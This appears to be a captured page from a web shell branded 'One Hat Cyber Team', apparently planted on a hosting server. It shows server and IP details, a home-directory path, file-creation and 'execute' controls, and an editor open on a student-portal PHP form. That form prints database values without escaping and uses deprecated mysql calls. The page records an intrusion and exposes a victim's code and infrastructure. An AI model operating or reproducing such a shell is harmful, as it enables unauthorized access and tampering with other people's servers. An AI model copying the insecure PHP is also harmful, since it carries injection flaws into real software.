One Hat Cyber Team
Your IP :
216.73.216.84
Server IP :
50.6.229.107
Server :
Linux server.hostburly.com 5.14.0-611.38.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Mar 10 17:21:28 EDT 2026 x86_64
Server Software :
Apache
PHP Version :
8.2.30
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
home
/
andjemzt
/
nportal.andjemztech.com
/
inc
/
Edit File:
show_edit2.php
<? session_start(); include('../../my_admin/config3.php'); include('fxn.php'); $stud_id=$_SESSION['stud_id']; $stud_details = extract_stud($stud_id) ; ?> <table align="center" width="57%"> <tr> <td background="../../images/banner_small.jpg" height="120px"></td> </tr> </table><div style="position:absolute; left:313px; top: 150px;"> <form action="../confirm.php" method="post" name="form1" onsubmit="return formCheck(this,Array('surn', 'othern', 'gender','course'),Array('Surname', 'Othernames', 'Gender', 'Intended Course'));"> <center>Edit your details as appropriate</center> <table width="80%" border="0" cellspacing="0" cellpadding="5" style="text-align:left"> <tr> <td valign="bottom" > </td> <td valign="bottom" class="stylelab">SURNAME</td> <td valign="bottom" class="outext"> <?php if(have_paid_apply($stud_id)){ echo $stud_details['surname'] ; ?> <input name="surn" type="hidden" value="<?php echo $stud_details['surname'] ; ?>" /> <?php }else{ ?> <input name="surn" type="text" style="text-transform:uppercase" value="<?php echo $stud_details['surname'] ; ?>" /> <?php }?> <input name="stud_id" type="hidden" value="<? echo $stud_id ; ?>" /> </td> </tr> <tr> <td valign="bottom" > </td> <td valign="bottom" class="stylelab">OTHERNAMES</td> <td valign="bottom"> <input name="othern" type="text" value="<?php echo $stud_details['othernames'] ; ?>"/></td> </tr> <tr> <td valign="bottom" > </td> <td valign="bottom" class="stylelab">PHONE NUMBER </td> <td valign="bottom"> <input name="phone" type="text" value="<?php echo $stud_details['phone_num'] ; ?>"/></td> </tr> <tr> <td valign="bottom" > </td> <td valign="bottom" class="stylelab">GENDER</td> <td valign="bottom"> <input name="gender" type="radio" value="female" <? if($stud_details['gender'] == 'female') echo 'checked' ;?> /> Female<br /></td> </tr> <tr> <td valign="bottom" > </td> <td valign="bottom" > </td> <td valign="bottom"> <input name="gender" type="radio" value="male" <? if($stud_details['gender'] == 'male') echo 'checked' ;?> /> Male</td> </tr> <tr> <td valign="bottom" > </td> <td valign="bottom" class="stylelab">INTENDED COURSE </td> <td valign="bottom"> <select name="course"> <option> Select a programme </option> <? $course_id = $stud_details['course'] ; $course_name = GetAny2('acad_programme', $stud_details['course'], 'programme_id', 'programme_name') ; echo "<option value=$course_id selected> $course_name </option> " ; $sql = "SELECT * FROM acad_programme WHERE programme_status = 1 AND ( degree_type = 1 OR degree_type = 3 ) ORDER BY programme_name" ; $res = mysql_query($sql) ; while($row = mysql_fetch_array($res)){ $prog_name = $row['programme_name'] ; $prog_id = $row['programme_id'] ; echo "<option value=$prog_id> $prog_name </option> " ; } ?> </select> </td> </tr> <tr> <td valign="bottom"> </td> <td valign="bottom"> </td> <td valign="bottom"> <input name="subupdate" type="submit" value="Update" /></td> </tr> </table> </form> </div>
Simpan